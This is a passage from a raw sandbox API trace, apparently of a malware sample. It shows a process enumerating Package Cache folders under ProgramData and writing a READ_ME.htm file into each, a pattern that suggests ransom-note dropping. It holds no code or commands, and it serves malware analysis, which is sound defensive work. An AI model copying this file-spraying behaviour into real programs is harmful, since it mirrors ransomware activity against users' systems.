Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.788] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.788] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.788] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.789] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.789] SetErrorMode (uMode=0x0) returned 0x1 [0139.789] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.789] SetErrorMode (uMode=0x1) returned 0x0 [0139.789] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.790] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.790] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.790] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.790] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.790] SetErrorMode (uMode=0x0) returned 0x1 [0139.790] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.790] SetErrorMode (uMode=0x1) returned 0x0 [0139.790] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0139.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0139.791] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.791] SetErrorMode (uMode=0x0) returned 0x1 [0139.792] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.792] SetErrorMode (uMode=0x1) returned 0x0 [0139.792] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0139.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0139.792] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.792] SetErrorMode (uMode=0x0) returned 0x1 [0139.793] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0139.793] SetErrorMode (uMode=0x1) returned 0x0 [0139.793] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18637300, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0x18637300, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0x18637300, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb35c4d00, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb35c4d00, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb35c4d00, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.794] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.794] SetErrorMode (uMode=0x0) returned 0x1 [0139.794] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0139.794] SetErrorMode (uMode=0x1) returned 0x0 [0139.794] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8902d730, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8902d730, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.794] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.795] SetErrorMode (uMode=0x0) returned 0x1 [0139.795] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7d [0139.795] SetErrorMode (uMode=0x1) returned 0x0 [0139.796] SetErrorMode (uMode=0x0) returned 0x1 [0139.796] GetFileType (hFile=0x1d0) returned 0x1 [0139.796] WriteFile (in: hFile=0x1d0, lpBuffer=0x2990a30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2990a30*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.797] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.797] SetErrorMode (uMode=0x1) returned 0x0 [0139.798] SetErrorMode (uMode=0x0) returned 0x1 [0139.798] GetFileType (hFile=0x1d0) returned 0x1 [0139.798] WriteFile (in: hFile=0x1d0, lpBuffer=0x2995080*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2995080*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.799] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.799] SetErrorMode (uMode=0x1) returned 0x0 [0139.799] SetErrorMode (uMode=0x0) returned 0x1 [0139.799] GetFileType (hFile=0x1d0) returned 0x1 [0139.800] WriteFile (in: hFile=0x1d0, lpBuffer=0x29996b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29996b0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.801] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x43 [0139.801] SetErrorMode (uMode=0x1) returned 0x0 [0139.801] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x201b2370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x201b2370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.802] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.802] SetErrorMode (uMode=0x0) returned 0x1 [0139.802] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x43 [0139.802] SetErrorMode (uMode=0x1) returned 0x0 [0139.802] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x201b2370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x201b2370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.803] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.803] SetErrorMode (uMode=0x0) returned 0x1 [0139.803] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.803] SetErrorMode (uMode=0x1) returned 0x0 [0139.804] SetErrorMode (uMode=0x0) returned 0x1 [0139.804] GetFileType (hFile=0x1d0) returned 0x1 [0139.804] WriteFile (in: hFile=0x1d0, lpBuffer=0x299fd98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x299fd98*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.805] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x43 [0139.805] SetErrorMode (uMode=0x1) returned 0x0 [0139.805] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\programdata\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93b0ebd0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93b0ebd0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.806] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.806] SetErrorMode (uMode=0x0) returned 0x1 [0139.806] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x43 [0139.806] SetErrorMode (uMode=0x1) returned 0x0 [0139.806] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\programdata\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93b0ebd0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93b0ebd0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.806] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.806] SetErrorMode (uMode=0x0) returned 0x1 [0139.807] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.807] SetErrorMode (uMode=0x1) returned 0x0 [0139.807] SetErrorMode (uMode=0x0) returned 0x1 [0139.807] GetFileType (hFile=0x1d0) returned 0x1 [0139.808] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a6480*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29a6480*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x43 [0139.809] SetErrorMode (uMode=0x1) returned 0x0 [0139.809] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\programdata\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5099850, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5099850, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.810] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.810] SetErrorMode (uMode=0x0) returned 0x1 [0139.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x43 [0139.810] SetErrorMode (uMode=0x1) returned 0x0 [0139.810] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package 